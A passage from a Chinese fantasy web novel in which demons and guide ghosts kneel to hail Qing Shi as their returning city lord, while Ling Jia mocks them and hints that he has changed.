令迦邪笑一声,细长的眼眸紧紧盯住云舒,道:“呀,小美人妹妹,你是青昼带进来的?” 云舒微皱眉头,她现在只想快点找到蔽月和铃兰,确保他们俩人的安全,其他事情对她来说都是碍事,不耐烦道:“关你屁事。” 那虎头蝙蝠闻言,瞬间展开他身后巨大的蝙蝠翼,兽音低吼:“对我们夫人说话放尊重点!” 随后又走到青时面前单膝下跪,颇有些激动,热泪盈眶地朝他行礼: “恭迎城主大人!城主大人,阿蝙知道您绝不会如此轻易死去,阿蝙在无序城等候了您数千年啊,阿蝙绝不认可那厉夺阳做城主之位!城主大人,您果真安好归来,阿蝙特此恭迎城主大人回城!” 云舒略微惊讶地看向青时。 紧接着,那引路魍魉见状也立马跪倒在地:“城主大人!小的……小的可不是故意不认您的!是您曾在三千多年前让小的别再喊您城主大人的……呜呜呜……小的错啦!小的现在认错还来得及吗城主大人……” 三十九号引路魍魉从屋顶飘下来,同样极其狗腿地滑跪:“恭迎城主大人回城!小的……小的也在此地等了城主大人三千年呢,没有功劳也有苦劳,没有苦劳也有等劳哇,呜呜呜……” 小龟惊恐又嫌弃地看着面前跪了一地的狗东西们:“咦,居然比我还能哭。” 令迦却在一边笑得前仰后合,宛如看戏一般:“我说,你们也别太忠心了,如今你们面前的这个人,可早已不是从前的那位了。” “我说的是吧?我的小师弟。” 青时瞥去一眼,冷笑一声:“谁知道呢?”